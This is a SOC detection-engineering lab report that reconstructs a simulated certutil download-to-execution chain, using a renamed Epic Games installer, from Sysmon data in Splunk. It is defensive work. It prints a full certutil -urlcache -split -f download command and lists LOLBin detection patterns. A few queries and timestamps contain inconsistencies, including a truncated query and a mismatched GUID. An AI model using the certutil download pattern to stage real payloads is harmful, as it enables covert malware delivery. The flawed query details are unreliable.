

SOC Investigation Report — Certutil LOLBin Download & Execution Chain

Field	Value
Case ID	SOC-LAB-2026-0707-CERTUTIL
Classification	Detection Engineering Lab / Threat Hunting Exercise
Analyst	Edwin Dominic
Host	WIN-11
User Account	WIN-11\socadmin
Data Source	Sysmon (Operational log) → Splunk (index=sysmon)
Date of Activity	2026-07-07 (17:38:27 – 17:39:44 UTC)
Alert Triggered	<i>Suspicious LOLBin Activity – Certutil Download</i>
Severity (Investigated)	Low — confirmed benign
Technique Risk Rating	High — if the same pattern occurred with a genuine payload

1. Objective

Detect and investigate the abuse of the legitimate Windows utility **CertUtil** (`certutil.exe`) to download and execute a remote file — a well-documented Living-off-the-Land Binary (LOLBin) technique used to retrieve payloads while blending into trusted system activity. The goal was to reconstruct the full attack chain end-to-end using Sysmon telemetry in Splunk, extract IOCs, and determine what occurred after execution.

2. Attack Scenario & Verdict

A Windows endpoint generated a Sysmon Process Creation event showing `certutil.exe` executed with parameters commonly associated with file downloads, retrieving an installer from the internet while disguising it under the filename `invoice_update.exe`. Once downloaded, the file was manually executed, triggering a chain of Windows Installer activity.

Verdict: Confirmed benign — controlled simulation. File metadata recovered during investigation (Company: *Epic Games, Inc.*, OriginalFileName: `EpicInstallerWrapper.exe`) confirms the downloaded binary is a legitimate, digitally-attributed Epic Games Launcher installer, deliberately renamed to mimic attacker payload naming for lab purposes. No malicious code executed. The telemetry generated is nonetheless procedurally identical to real-world certutil-delivered payloads, making this a valid dataset for detection engineering

3. Initial Detection

Query: `index=sysmon EventCode=1 Image="*\certutil.exe"`

Finding

`certutil.exe` (PID 5808) was launched by `cmd.exe` (PID 10452) at High integrity from working directory `C:\Lab`, with the command line:

```
certutil.exe -urlcache -split -f https://launcher-public-service-prod06.ol.epicgames.com/launcher/api/installer/download/EpicGamesLauncherInstaller.exe invoice_update.exe
```

All subsequent evidence in this investigation was correlated using this process's ProcessGuid (`{5e3f58db-3993-6a4d-ec03-000000001800}`) rather than PID, since ProcessGuid is unique per execution while PIDs can be reused by the OS.

4. Initial Assessment — Why the Activity Was Flagged

Legitimate CertUtil usage is limited to certificate/hash operations (`-hashfile`, `-store`, `-verify`). The observed execution deviated from this baseline on multiple fronts:

Indicator	Detail
<code>-urlcache</code> flag	Retrieves and caches content from a remote URL — not a certificate operation
<code>-split</code> flag	Used specifically to stream an HTTP/HTTPS download to disk
Output filename	The executable used a socially engineered filename (<code>invoice_update.exe</code>) intended to appear as a routine business-related update
Execution context	Launched interactively from <code>cmd.exe</code> at High integrity level — an elevated, user-driven action rather than a background/scheduled task
Working directory	Non-standard path (<code>C:\Lab</code>), outside typical install/download locations

This combination — `certutil -urlcache -split -f` writing an executable — is a recognized LOLBin download pattern frequently seen in initial-access and payload-staging activity, used to evade tooling that blocks direct browser or PowerShell-based downloads.

5. DNS Investigation

Query: `index=sysmon EventCode=22 ProcessGuid="{5e3f58db-3993-6a4d-ec03-000000001800}"`

Finding

Certutil resolved two external domains prior to establishing connections, confirming destination infrastructure was resolved before the download began. Full domain list in **Network Indicators (Section 13)**.

6. Network Investigation

Query: `index=sysmon EventCode=3 ProcessGuid="{5e3f58db-3993-6a4d-ec03-`

Finding

Four outbound TCP connections were established across two rounds — an initial connection followed by a second round during CDN redirect/continuation. Full IP/port list in **Network Indicators (Section 13)**.

7. File Creation Investigation

Query: `index=sysmon EventCode=11 ProcessGuid="{5e3f58db-3993-6a4d-ec03-000000001800}"`

Finding

Three executable files were written to disk: two cached copies under the IE INetCache directory (original filenames preserved), and the final renamed payload at `C:\Lab\invoice_update.exe`. This illustrates why cache directories are valuable forensic artifacts — attackers who delete a final payload often leave cached copies behind. Full path list in **File Indicators (Section 13)**.

8. Payload Execution Investigation

Query: `index=sysmon EventCode=1 Image="C:\\Lab\\invoice_update.exe"`

Finding

`invoice_update.exe` (PID 8492) executed under `socadmin` at High integrity, parented by `cmd.exe` — confirming the downloaded file was manually launched rather than auto-executed. Full process/hash detail in **Process Indicators (Section 13)**.

9. Child Process Investigation

Query: `index=sysmon ParentProcessGuid="{5e3f58db-39db-6a4d-f403-000000001800}"`

Finding

`invoice_update.exe` spawned `msiexec.exe`, requesting installation of `invoice_update.msi`. `rundll32.exe` subsequently executed as an MSI custom action (`TelemetrySendStart`) during the install.

10. Attack Chain

```
cmd.exe
├─ certutil.exe (download)
├─ invoice_update.exe (execution)
│   └─ msiexec.exe (install request)
└─ services.exe
    └─ msiexec.exe /V (Windows Installer service host)
        └─ msiexec.exe -Embedding
            └─ rundll32.exe (MSI custom action)
```

Windows Installer transitions execution to the service-hosted `msiexec.exe` process (`services.exe` parent), which is expected Windows behavior.

11. Timeline Reconstruction (UTC)

Time	Activity
17:38:27.975	<code>cmd.exe</code> spawns <code>certutil.exe</code> with <code>-urlcache -split -f</code>
17:38:27.495 – 27.974	Initial DNS resolution + TCP connections established

Time	Activity
17:38:46.355 – 46.732	Second resolution/connection round — download continuation via CDN redirect
17:38:47.426 – 47.604	Temporary files written to IE INetCache
17:39:05.968	invoice_update.exe finalized at C:\Lab\
17:39:39.697	invoice_update.exe executed by socadmin
17:39:42.237	msiexec.exe (PID 9288) requests install of invoice_update.msi
17:39:42.492	msiexec.exe /V (PID 3804) auto-spawned by services.exe
17:39:43.768	msiexec.exe -Embedding (PID 7796, SysWOW64) launched
17:39:44.126	rundll32.exe executes MSI custom action TelemetrySendStart

12. MITRE ATT&CK Mapping

Tactic	Technique	ID	Evidence
Execution	Command and Scripting Interpreter: Windows Command Shell	T1059.003	cmd.exe launched certutil.exe
Defense Evasion	System Binary Proxy Execution: Certutil	T1218.010	certutil.exe -urlcache -split -f used to fetch a remote file
Command & Control / Delivery	Ingress Tool Transfer	T1105	Executable retrieved over HTTPS via certutil
Execution	User Execution: Malicious File	T1204.002	socadmin manually executed invoice_update.exe
Defense Evasion	System Binary Proxy Execution: Msiexec	T1218.007	msiexec.exe used to install the payload package
Defense Evasion	System Binary Proxy Execution: Rundll32	T1218.011	rundll32.exe executed a custom action from the MSI

13. Indicators of Compromise (IOC)

Host Indicators

Type	Value
Hostname	win-11
User	WIN-11\socadmin

Type	Value
Initiating process	cmd.exe (PID 10452)

Process Indicators

Process	PID	Parent	SHA256
certutil.exe	5808	cmd.exe (10452)	EBC1D6FE958F7C551617D87E7012ACC6C11B0659EB58BC2DE26861102709F019
invoice_update.exe	8492	cmd.exe (10452)	4D676D3182A2AB98E9C522EB55144E49EB7344F455C56795FC42B96824EE021
msiexec.exe	9288 / 3804	invoice_update.exe / services.exe	677417BA3AD87F73CD95AD30423998C6089E7EEF381B309A562CDA1EB6FE178E
msiexec.exe (SysWOW64, - Embedding)	7796	msiexec.exe /V (3804)	34E2E75CB8622809E4F95B3E665071D755870F503167268F23D0110CC5F7EE2C
rundll32.exe	9712	msiexec.exe (7796)	238EB6D00C29A445C8E4CFC74027F51A046D2A26E4FC21C372F117B3B24825B3

Network Indicators

Domain / IP	Port	Role
launcher-public-service-prod06.ol.epicgames.com	443	Download API endpoint (Cloudflare-fronted, 104.18.13.27)
epicgames-download1.akamaized.net	443	CDN payload host (Akamai, 104.93.25.216)
172.217.24.3 / 172.66.2.5	80	Secondary HTTP requests during download session

File Indicators

Path	Note
C:\Lab\invoice_update.exe	Final renamed payload dropped by certutil
...\INetCache\IE\4P3IS45J\EpicGamesLauncherInstaller[1].exe	Cached copy — original filename preserved
...\INetCache\IE\G4N3I5RA\EpicInstaller-20.1.0[1].exe	Secondary cached copy

Path	Note
C:\ProgramData\EpicInstallerTemp\...\invoice_update.msi	Extracted MSI package

Analyst note — hash discrepancy: The Sysmon FileDelete event for

C:\Lab\invoice_update.exe recorded SHA256

364E67838404CCDC76C605104D1CD7E047F13C06BDEE0076A1A509014F0124E, which does not match the hash logged at process launch (4D676D...4EE021). Consistent with certutil's temp-write-then-rename download behavior rather than payload substitution — but any hash mismatch on the same path warrants explicit verification before being ruled benign, and is flagged here as a deliberate check rather than an oversight.

14. Threat Assessment

Although this specific instance used a legitimate, signed installer for simulation purposes, the observed behavior mirrors techniques threat actors commonly use to:

- Download malware payloads or second-stage tooling while bypassing application allow-listing
- Evade signature-based antivirus detection by relying on a trusted, signed Microsoft binary
- Deliver ransomware loaders or remote access trojans (RATs)
- Establish an initial foothold that blends with legitimate administrative activity

Because CertUtil is trusted by default in most environments, its abuse for network retrieval significantly increases the likelihood that attacker activity goes unnoticed unless behavioral (not signature-based) detection is in place.

15. Activity Ruled Out as Noise

The following processes appeared in the same time window but were confirmed unrelated to the certutil chain during triage:

- msedge.exe (GPU process, PID 1836) — routine browser activity by socadmin; no shared ProcessGuid lineage with the investigated chain.
- splunk-powershell.exe, splunk-regmon.exe, splunk-netmon.exe, splunk-admon.exe, splunk-MonitorNoHandle.exe — native child processes of the Splunk Universal Forwarder service (splunkd.exe), expected telemetry-agent behavior.

16. Splunk Threat Hunting & Correlation Queries

The investigation above pulled targeted evidence phase by phase. The queries below consolidate those pivots into a single reusable reference — the set an analyst would run to replay this investigation, hunt for the same pattern elsewhere in the environment, or hand off to another analyst mid-shift.

Identify CertUtil Download Activity

```
index=sysmon EventCode=1 Image="*\\certutil.exe"
| search CommandLine="*-urlcache*" CommandLine="*-split*"
| table _time Computer User ParentImage Image CommandLine ProcessGuid
```

Purpose: Identifies CertUtil executions using download-related arguments, environment-wide — not scoped to a single known ProcessGuid.

Correlate Process Lineage

```
index=sysmon (ProcessGuid="{5e3f58db-3993-6a4d-ec03-000000001800}" OR
ParentProcessGuid="{5e3f58db-3993-6a4d-ec03-000000001800}")
| sort _time
| table _time EventCode Image ParentImage ProcessGuid ParentProcessGuid
CommandLine
```

Purpose: Reconstructs the complete execution chain originating from the initial CertUtil process in one pass.

Hunt for Network Activity

```
index=sysmon EventCode=3 ProcessGuid="{5e3f58db-3993-6a4d-ec03-000000001800}"
| table _time DestinationHostname DestinationIp DestinationPort Initiated Image
```

Purpose: Surfaces outbound connections generated by the CertUtil process to identify external download infrastructure.

Hunt for DNS Resolution

```
index=sysmon EventCode=22 ProcessGuid="{5e3f58db-3993-6a4d-ec03-000000001800}"
| table _time QueryName QueryResults Image
```

Purpose: Determines which domains were resolved immediately before outbound network communication.

Hunt for Dropped Files

```
index=sysmon EventCode=11 ProcessGuid="{5e3f58db-3993-6a4d-ec03-000000001800}"
| table _time TargetFilename Image ProcessGuid
```

Purpose: Identifies executables written to disk during payload staging.

Identify Executed Payload

```
index=sysmon EventCode=1 ParentImage="*\\cmd.exe" Image="*\\invoice_update.exe"
| table _time Image ParentImage CommandLine ProcessGuid IntegrityLevel User
```

Purpose: Confirms the downloaded executable was manually launched and captures execution context.

Investigate Child Processes

```
index=sysmon (ParentImage="*\\invoice_update.exe" OR
ParentImage="*\\msiexec.exe")
| table _time ParentImage Image CommandLine ProcessGuid ParentProcessGuid
```

Purpose: Identifies post-execution process creation to determine installer behavior or potential secondary payload execution.

Reconstruct the Full Timeline

```
index=sysmon (ProcessGuid="{5e3f58db-3993-6a4d-ec03-000000001800}" OR
ParentProcessGuid="{5e3f58db-2b38-6a4d-2c01-000000001800}")
| sort _time
| table _time EventCode Image ParentImage CommandLine
```

Purpose: Produces a single chronological view of the attack chain from download through child process execution — the export-ready version of Section 11's timeline.

17. Detection Engineering

Monitoring coverage — this activity is reliably detectable by alerting on:

- CertUtil executing with `-urlcache` and `-split` in the same command line (near-zero false-positive rate for legitimate admin use)
- CertUtil, bitsadmin.exe, or mshta.exe making outbound network connections or writing .exe/.dll files
- Newly downloaded executables outside standard install directories being executed within minutes of creation
- Process chains matching `certutil.exe` → <new executable> → `msiexec.exe` / `rundll32.exe`

Actionable rule specs:

1. **Correlation rule:** trigger when a LOLBin (`certutil.exe`, `bitsadmin.exe`, `mshta.exe`) writes an executable to disk *and* that same file is executed within 5 minutes.
2. **Child-process rule:** flag `msiexec.exe` or `rundll32.exe` when the initiating file was downloaded via a LOLBin and resides outside Program Files.
3. **Integrity check playbook step:** re-hash files at their final path whenever a `FileDelete` event immediately precedes a `FileCreate` on the same filename, to rule out payload substitution before closing a case.

Detection Engineering Queries — the hunting queries above are ad-hoc; these operationalize the same logic into scheduled, alertable searches:

Detect CertUtil Download Abuse (scheduled alert)

```
index=sysmon EventCode=1 Image="*\\certutil.exe" CommandLine="*-urlcache*"
CommandLine="*-split*"
| stats count min(_time) as first_seen by Computer User CommandLine
```

Deploy as a correlation search on a 5-minute schedule with an alert action to the SOC queue — near-zero false-positive rate makes this suitable for direct alerting rather than just hunting.

Detect LOLBins Writing Executables to Disk

```
index=sysmon EventCode=11 (Image="*\\certutil.exe" OR Image="*\\bitsadmin.exe"
OR Image="*\\mshta.exe") TargetFilename="*.exe"
| stats count by Computer Image TargetFilename
```

Detect Download-to-Execution Pattern

Implemented as a two-stage correlation rather than a single search: Stage 1 captures LOLBin file-write events (`EventCode=11`, `TargetFilename=*.exe`) keyed by `Computer + TargetFilename`;

Stage 2 matches `EventCode=1` process-creation events against that key set within a 5-minute lookback. This avoids the false-positive noise of a single broad search across unrelated `.exe` events.

Detect Suspicious LOLBin Child Processes

```
index=sysmon EventCode=1 (ParentImage="*\\certutil.exe" OR  
ParentImage="*\\mshta.exe" OR ParentImage="*\\bitsadmin.exe")  
| stats count by Computer ParentImage Image CommandLine
```

18. Recommended Response Actions

Verdict for this case was benign, so no containment was required. If the same pattern were confirmed malicious, standard response would include:

1. **Isolate** the affected host from the network to cut off further outbound download/C2 activity.
2. **Kill the process tree** rooted at `certutil.exe`, including all downstream `msiexec.exe/rundll32.exe` descendants.
3. **Block** the identified domains and IPs at the proxy/firewall.
4. **Submit** file hashes to the EDR/AV vendor and internal threat intel platform for enrichment and cross-environment search.
5. **Preserve** volatile evidence (INetCache artifacts, prefetch, memory) before remediation, to support forensic follow-up.
6. **Reset credentials** for the account involved if lateral movement or credential access is suspected downstream.

19. Conclusion

This investigation reconstructed a complete download-to-execution chain — `certutil.exe` → `invoice_update.exe` → `msiexec.exe` → `rundll32.exe` — using only native Windows LOLBins. Every stage was correlated through ProcessGuid in Splunk rather than the more easily reused ProcessId, ensuring accurate attribution across process creation, DNS, network, and file events.

The activity was conclusively attributed to a controlled simulation using a renamed, legitimately-signed Epic Games Launcher installer. The resulting telemetry, hunting queries, and detection logic above are representative of real-world certutil-based payload delivery and form a validated, reusable dataset spanning investigation, threat hunting, and detection engineering.